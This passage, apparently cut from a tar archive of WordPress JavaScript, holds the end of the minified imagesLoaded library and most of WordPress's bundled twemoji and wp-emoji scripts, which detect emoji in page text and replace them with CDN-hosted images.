s=i&&i[2];s&&this.addBackground(s,t),i=r.exec(e.backgroundImage)}},n.prototype.addImage=function(t){let e=new h(t);this.images.push(e)},n.prototype.addBackground=function(t,e){let i=new d(t,e);this.images.push(i)},n.prototype.check=function(){if(this.progressedCount=0,this.hasAnyBroken=!1,!this.images.length)return void this.complete();let t=(t,e,i)=>{setTimeout((()=>{this.progress(t,e,i)}))};this.images.forEach((function(e){e.once("progress",t),e.check()}))},n.prototype.progress=function(t,e,i){this.progressedCount++,this.hasAnyBroken=this.hasAnyBroken||!t.isLoaded,this.emitEvent("progress",[this,t,e]),this.jqDeferred&&this.jqDeferred.notify&&this.jqDeferred.notify(this,t),this.progressedCount===this.images.length&&this.complete(),this.options.debug&&s&&s.log(`progress: ${i}`,t,e)},n.prototype.complete=function(){let t=this.hasAnyBroken?"fail":"done";if(this.isComplete=!0,this.emitEvent(t,[this]),this.emitEvent("always",[this]),this.jqDeferred){let t=this.hasAnyBroken?"reject":"resolve";this.jqDeferred[t](this)}},h.prototype=Object.create(e.prototype),h.prototype.check=function(){this.getIsImageComplete()?this.confirm(0!==this.img.naturalWidth,"naturalWidth"):(this.proxyImage=new Image,this.img.crossOrigin&&(this.proxyImage.crossOrigin=this.img.crossOrigin),this.proxyImage.addEventListener("load",this),this.proxyImage.addEventListener("error",this),this.img.addEventListener("load",this),this.img.addEventListener("error",this),this.proxyImage.src=this.img.currentSrc||this.img.src)},h.prototype.getIsImageComplete=function(){return this.img.complete&&this.img.naturalWidth},h.prototype.confirm=function(t,e){this.isLoaded=t;let{parentNode:i}=this.img,s="PICTURE"===i.nodeName?i:this.img;this.emitEvent("progress",[this,s,e])},h.prototype.handleEvent=function(t){let e="on"+t.type;this[e]&&this[e](t)},h.prototype.onload=function(){this.confirm(!0,"onload"),this.unbindEvents()},h.prototype.onerror=function(){this.confirm(!1,"onerror"),this.unbindEvents()},h.prototype.unbindEvents=function(){this.proxyImage.removeEventListener("load",this),this.proxyImage.removeEventListener("error",this),this.img.removeEventListener("load",this),this.img.removeEventListener("error",this)},d.prototype=Object.create(h.prototype),d.prototype.check=function(){this.img.addEventListener("load",this),this.img.addEventListener("error",this),this.img.src=this.url,this.getIsImageComplete()&&(this.confirm(0!==this.img.naturalWidth,"naturalWidth"),this.unbindEvents())},d.prototype.unbindEvents=function(){this.img.removeEventListener("load",this),this.img.removeEventListener("error",this)},d.prototype.confirm=function(t,e){this.isLoaded=t,this.emitEvent("progress",[this,this.element,e])},n.makeJQueryPlugin=function(e){(e=e||t.jQuery)&&(i=e,i.fn.imagesLoaded=function(t,e){return new n(this,t,e).jqDeferred.promise(i(this))})},n.makeJQueryPlugin(),n})); wp-emoji-release.min.js 0000644 00000045463 15111757752 0011060 0 ustar 00 /*! This file is auto-generated */ // Source: wp-includes/js/twemoji.min.js var twemoji=function(){"use strict";var h={base:"https://cdn.jsdelivr.net/gh/jdecked/twemoji@16.0.1/assets/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return e(d);return e(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:o},onerror:function(){this.parentNode&&this.parentNode.replaceChild(x(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u||(u={callback:u});return h.doNotParse=u.doNotParse,("string"==typeof d?function(d,a){return n(d,function(d){var u,f,c=d,e=N(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,r),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,r,n,o,s,i,l=function d(u,f){var c,e,b=u.childNodes,a=b.length;for(;a--;)c=b[a],3===(e=c.nodeType)?f.push(c):1!==e||"ownerSVGElement"in c||m.test(c.nodeName.toLowerCase())||h.doNotParse&&h.doNotParse(c)||d(c,f);return f}(d,[]),p=l.length;for(;p--;){for(e=!1,b=document.createDocumentFragment(),a=l[p],t=a.nodeValue,r=0;o=g.exec(t);){if((i=o.index)!==r&&b.appendChild(x(t.slice(r,i),!0)),s=N(o=o[0]),r=i+o.length,i=u.callback(s,u),s&&i){for(c in(n=new Image).onerror=u.onerror,n.setAttribute("draggable","false"),f=u.attributes(o,s))f.hasOwnProperty(c)&&0!==c.indexOf("on")&&!n.hasAttribute(c)&&n.setAttribute(c,f[c]);n.className=u.className,n.alt=o,n.src=i,e=!0,b.appendChild(n)}n||b.appendChild(x(o,!1)),n=null}e&&(r<t.length&&b.appendChild(x(t.slice(r),!0)),a.parentNode.replaceChild(b,a))}return d})(d,{callback:u.callback||b,attributes:"function"==typeof u.attributes?u.attributes:a,base:("string"==typeof u.base?u:h).base,ext:u.ext||h.ext,size:u.folder||function(d){return"number"==typeof d?d+"x"+d:d}(u.size||h.size),className:u.className||h.className,onerror:u.onerror||h.onerror})},replace:n,test:function(d){g.lastIndex=0;d=g.test(d);return g.lastIndex=0,d}},u={"&":"&","<":"<",">":">","'":"'",'"':"""},g=/(?:\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffe]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffc-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffd-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffd\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffe]|\ud83d\udc69\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83e\uddd1\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d[\udc68\udc69]|\ud83e\udef1\ud83c\udffb\u200d\ud83e\udef2\ud83c[\udffc-\udfff]|\ud83e\udef1\ud83c\udffc\u200d\ud83e\udef2\ud83c[\udffb\udffd-\udfff]|\ud83e\udef1\ud83c\udffd\u200d\ud83e\udef2\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\udef1\ud83c\udffe\u200d\ud83e\udef2\ud83c[\udffb-\udffd\udfff]|\ud83e\udef1\ud83c\udfff\u200d\ud83e\udef2\ud83c[\udffb-\udffe]|\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68|\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d[\udc68\udc69]|\ud83e\uddd1\u200d\ud83e\udd1d\u200d\ud83e\uddd1|\ud83d\udc6b\ud83c[\udffb-\udfff]|\ud83d\udc6c\ud83c[\udffb-\udfff]|\ud83d\udc6d\ud83c[\udffb-\udfff]|\ud83d\udc8f\ud83c[\udffb-\udfff]|\ud83d\udc91\ud83c[\udffb-\udfff]|\ud83e\udd1d\ud83c[\udffb-\udfff]|\ud83d[\udc6b-\udc6d\udc8f\udc91]|\ud83e\udd1d)|(?:\ud83d[\udc68\udc69]|\ud83e\uddd1)(?:\ud83c[\udffb-\udfff])?\u200d(?:\u2695\ufe0f|\u2696\ufe0f|\u2708\ufe0f|\ud83c[\udf3e\udf73\udf7c\udf84\udf93\udfa4\udfa8\udfeb\udfed]|\ud83d[\udcbb\udcbc\udd27\udd2c\ude80\ude92]|\ud83e[\uddaf-\uddb3\uddbc\uddbd])(?:\u200d\u27a1\ufe0f)?|(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75]|\u26f9)((?:\ud83c[\udffb-\udfff]|\ufe0f)\u200d[\u2640\u2642]\ufe0f(?:\u200d\u27a1\ufe0f)?)|(?:\ud83c[\udfc3\udfc4\udfca]|\ud83d[\udc6e\udc70\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea3\udeb4-\udeb6]|\ud83e[\udd26\udd35\udd37-\udd39\udd3d\udd3e\uddb8\uddb9\uddcd-\uddcf\uddd4\uddd6-\udddd])(?:\ud83c[\udffb-\udfff])?\u200d[\u2640\u2642]\ufe0f(?:\u200d\u27a1\ufe0f)?|(?:\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83e\uddd1\u200d\ud83e\uddd1\u200d\ud83e\uddd2\u200d\ud83e\uddd2|\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66|\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83e\uddd1\u200d\ud83e\uddd1\u200d\ud83e\uddd2|\ud83e\uddd1\u200d\ud83e\uddd2\u200d\ud83e\uddd2|\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f|\ud83c\udff3\ufe0f\u200d\ud83c\udf08|\ud83d\ude36\u200d\ud83c\udf2b\ufe0f|\u26d3\ufe0f\u200d\ud83d\udca5|\u2764\ufe0f\u200d\ud83d\udd25|\u2764\ufe0f\u200d\ud83e\ude79|\ud83c\udf44\u200d\ud83d\udfeb|\ud83c\udf4b\u200d\ud83d\udfe9|\ud83c\udff4\u200d\u2620\ufe0f|\ud83d\udc15\u200d\ud83e\uddba|\ud83d\udc26\u200d\ud83d\udd25|\ud83d\udc3b\u200d\u2744\ufe0f|\ud83d\udc41\u200d\ud83d\udde8|\ud83d\udc68\u200d\ud83d[\udc66\udc67]|\ud83d\udc69\u200d\ud83d[\udc66\udc67]|\ud83d\udc6f\u200d\u2640\ufe0f|\ud83d\udc6f\u200d\u2642\ufe0f|\ud83d\ude2e\u200d\ud83d\udca8|\ud83d\ude35\u200d\ud83d\udcab|\ud83d\ude42\u200d\u2194\ufe0f|\ud83d\ude42\u200d\u2195\ufe0f|\ud83e\udd3c\u200d\u2640\ufe0f|\ud83e\udd3c\u200d\u2642\ufe0f|\ud83e\uddd1\u200d\ud83e\uddd2|\ud83e\uddde\u200d\u2640\ufe0f|\ud83e\uddde\u200d\u2642\ufe0f|\ud83e\udddf\u200d\u2640\ufe0f|\ud83e\udddf\u200d\u2642\ufe0f|\ud83d\udc08\u200d\u2b1b|\ud83d\udc26\u200d\u2b1b)|[#*0-9]\ufe0f?\u20e3|(?:[\xa9\xae\u2122\u265f]\ufe0f)|(?:\ud83c[\udc04\udd70\udd71\udd7e\udd7f\ude02\ude1a\ude2f\ude37\udf21\udf24-\udf2c\udf36\udf7d\udf96\udf97\udf99-\udf9b\udf9e\udf9f\udfcd\udfce\udfd4-\udfdf\udff3\udff5\udff7]|\ud83d[\udc3f\udc41\udcfd\udd49\udd4a\udd6f\udd70\udd73\udd76-\udd79\udd87\udd8a-\udd8d\udda5\udda8\uddb1\uddb2\uddbc\uddc2-\uddc4\uddd1-\uddd3\udddc-\uddde\udde1\udde3\udde8\uddef\uddf3\uddfa\udecb\udecd-\udecf\udee0-\udee5\udee9\udef0\udef3]|[\u203c\u2049\u2139\u2194-\u2199\u21a9\u21aa\u231a\u231b\u2328\u23cf\u23ed-\u23ef\u23f1\u23f2\u23f8-\u23fa\u24c2\u25aa\u25ab\u25b6\u25c0\u25fb-\u25fe\u2600-\u2604\u260e\u2611\u2614\u2615\u2618\u2620\u2622\u2623\u2626\u262a\u262e\u262f\u2638-\u263a\u2640\u2642\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267b\u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26a7\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\u2747\u2757\u2763\u2764\u27a1\u2934\u2935\u2b05-\u2b07\u2b1b\u2b1c\u2b50\u2b55\u3030\u303d\u3297\u3299])(?:\ufe0f|(?!\ufe0e))|(?:(?:\ud83c[\udfcb\udfcc]|\ud83d[\udd74\udd75\udd90]|\ud83e\udef0|[\u261d\u26f7\u26f9\u270c\u270d])(?:\ufe0f|(?!\ufe0e))|(?:\ud83c\udfc3|\ud83d\udeb6|\ud83e\uddce)(?:\ud83c[\udffb-\udfff])?(?:\u200d\u27a1\ufe0f)?|(?:\ud83c[\udf85\udfc2\udfc4\udfc7\udfca]|\ud83d[\udc42\udc43\udc46-\udc50\udc66-\udc69\udc6e\udc70-\udc78\udc7c\udc81-\udc83\udc85-\udc87\udcaa\udd7a\udd95\udd96\ude45-\ude47\ude4b-\ude4f\udea3\udeb4\udeb5\udec0\udecc]|\ud83e[\udd0c\udd0f\udd18-\udd1c\udd1e\udd1f\udd26\udd30-\udd39\udd3d\udd3e\udd77\uddb5\uddb6\uddb8\uddb9\uddbb\uddcd\uddcf\uddd1-\udddd\udec3-\udec5\udef1-\udef8]|[\u270a\u270b]))(?:\ud83c[\udffb-\udfff])?|(?:\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc73\udb40\udc63\udb40\udc74\udb40\udc7f|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc77\udb40\udc6c\udb40\udc73\udb40\udc7f|\ud83c\udde6\ud83c[\udde8-\uddec\uddee\uddf1\uddf2\uddf4\uddf6-\uddfa\uddfc\uddfd\uddff]|\ud83c\udde7\ud83c[\udde6\udde7\udde9-\uddef\uddf1-\uddf4\uddf6-\uddf9\uddfb\uddfc\uddfe\uddff]|\ud83c\udde8\ud83c[\udde6\udde8\udde9\uddeb-\uddee\uddf0-\uddf7\uddfa-\uddff]|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]|\ud83c\uddec\ud83c[\udde6\udde7\udde9-\uddee\uddf1-\uddf3\uddf5-\uddfa\uddfc\uddfe]|\ud83c\udded\ud83c[\uddf0\uddf2\uddf3\uddf7\uddf9\uddfa]|\ud83c\uddee\ud83c[\udde8-\uddea\uddf1-\uddf4\uddf6-\uddf9]|\ud83c\uddef\ud83c[\uddea\uddf2\uddf4\uddf5]|\ud83c\uddf0\ud83c[\uddea\uddec-\uddee\uddf2\uddf3\uddf5\uddf7\uddfc\uddfe\uddff]|\ud83c\uddf1\ud83c[\udde6-\udde8\uddee\uddf0\uddf7-\uddfb\uddfe]|\ud83c\uddf2\ud83c[\udde6\udde8-\udded\uddf0-\uddff]|\ud83c\uddf3\ud83c[\udde6\udde8\uddea-\uddec\uddee\uddf1\uddf4\uddf5\uddf7\uddfa\uddff]|\ud83c\uddf4\ud83c\uddf2|\ud83c\uddf5\ud83c[\udde6\uddea-\udded\uddf0-\uddf3\uddf7-\uddf9\uddfc\uddfe]|\ud83c\uddf6\ud83c\udde6|\ud83c\uddf7\ud83c[\uddea\uddf4\uddf8\uddfa\uddfc]|\ud83c\uddf8\ud83c[\udde6-\uddea\uddec-\uddf4\uddf7-\uddf9\uddfb\uddfd-\uddff]|\ud83c\uddf9\ud83c[\udde6\udde8\udde9\uddeb-\udded\uddef-\uddf4\uddf7\uddf9\uddfb\uddfc\uddff]|\ud83c\uddfa\ud83c[\udde6\uddec\uddf2\uddf3\uddf8\uddfe\uddff]|\ud83c\uddfb\ud83c[\udde6\udde8\uddea\uddec\uddee\uddf3\uddfa]|\ud83c\uddfc\ud83c[\uddeb\uddf8]|\ud83c\uddfd\ud83c\uddf0|\ud83c\uddfe\ud83c[\uddea\uddf9]|\ud83c\uddff\ud83c[\udde6\uddf2\uddfc]|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\udff8-\udfff]|\ud83d[\udc00-\udc3e\udc40\udc44\udc45\udc51-\udc65\udc6a\udc6f\udc79-\udc7b\udc7d-\udc80\udc84\udc88-\udc8e\udc90\udc92-\udca9\udcab-\udcfc\udcff-\udd3d\udd4b-\udd4e\udd50-\udd67\udda4\uddfb-\ude44\ude48-\ude4a\ude80-\udea2\udea4-\udeb3\udeb7-\udebf\udec1-\udec5\uded0-\uded2\uded5-\uded7\udedc-\udedf\udeeb\udeec\udef4-\udefc\udfe0-\udfeb\udff0]|\ud83e[\udd0d\udd0e\udd10-\udd17\udd20-\udd25\udd27-\udd2f\udd3a\udd3c\udd3f-\udd45\udd47-\udd76\udd78-\uddb4\uddb7\uddba\uddbc-\uddcc\uddd0\uddde-\uddff\ude70-\ude7c\ude80-\ude89\ude8f-\udec2\udec6\udece-\udedc\udedf-\udee9]|[\u23e9-\u23ec\u23f0\u23f3\u267e\u26ce\u2705\u2728\u274c\u274e\u2753-\u2755\u2795-\u2797\u27b0\u27bf\ue50a])|\ufe0f/g,f=/\uFE0F/g,c=String.fromCharCode(8205),t=/[&<>'"]/g,m=/^(?:iframe|noframes|noscript|script|select|style|textarea)$/,e=String.fromCharCode;return h;function x(d,u){return document.createTextNode(u?d.replace(f,""):d)}function b(d,u){return"".concat(u.base,u.size,"/",d,u.ext)}function N(d){return o(d.indexOf(c)<0?d.replace(f,""):d)}function r(d){return u[d]}function a(){return null}function n(d,u){return String(d).replace(g,u)}function o(d,u){for(var f=[],c=0,e=0,b=0;b<d.length;)c=d.charCodeAt(b++),e?(f.push((65536+(e-55296<<10)+(c-56320)).toString(16)),e=0):55296<=c&&c<=56319?e=c:f.push(c.toString(16));return f.join(u||"-")}}(); // Source: wp-includes/js/wp-emoji.min.js !function(c,l){c.wp=c.wp||{},c.wp.emoji=new function(){var n,u,e=c.MutationObserver||c.WebKitMutationObserver||c.MozMutationObserver,a=c.document,t=!1,r=0,o=0<c.navigator.userAgent.indexOf("Trident/7.0");function i(){return!a.implementation.hasFeature||a.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#Image","1.1")}function s(){if(!t){if(void 0===c.twemoji)return 600<r?void 0:(c.clearTimeout(u),u=c.setTimeout(s,50),void r++);n=c.twemoji,t=!0,e&&new e(function(u){for(var e,t,n,a,r=u.length;r--;){if(e=u[r].addedNodes,t=u[r].removedNodes,1===(n=e.length)&&1===t.length&&3===e[0].nodeType&&"IMG"===t[0].nodeName&&e[0].data===t[0].alt&&"load-failed"===t[0].getAttribute("data-error"))return;for(;n--;){if(3===(a=e[n]).nodeType){if(!a.parentNode)continue;if(o)for(;a.nextSibling&&3===a.nextSibling.nodeType;)a.nodeValue=a.nodeValue+a.nextSibling.nodeValue,a.parentNode.removeChild(a.nextSibling);a=a.parentNode}d(a.textContent)&&f(a)}}}).observe(a.body,{childList:!0,subtree:!0}),f(a.body)}}function d(u){return!!u&&(/[\uDC00-\uDFFF]/.test(u)||/[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/.test(u))}function f(u,e){var t;return!l.supports.everything&&n&&u&&("string"==typeof u||u.childNodes&&u.childNodes.length)?(e=e||{},t={base:i()?l.svgUrl:l.baseUrl,ext:i()?l.svgExt:l.ext,className:e.className||"emoji",callback:function(u,e){switch(u){case"a9":case"ae":case"2122":case"2194":case"2660":case"2663":case"2665":case"2666":return!1}return!(l.supports.everythingExceptFlag&&!/^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test(u)&&!/^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test(u))&&"".concat(e.base,u,e.ext)},attributes:function(){return{role:"img"}},onerror:function(){n.parentNode&&(this.setAttribute("data-error","load-failed"),n.parentNode.replaceChild(a.createTextNode(n.alt),n))},doNotParse:function(u){return!(!u||!u.className||"string"!=typeof u.className||-1===u.className.indexOf("wp-exclude-emoji"))}},"object"==typeof e.imgAttr&&(t.attributes=function(){return 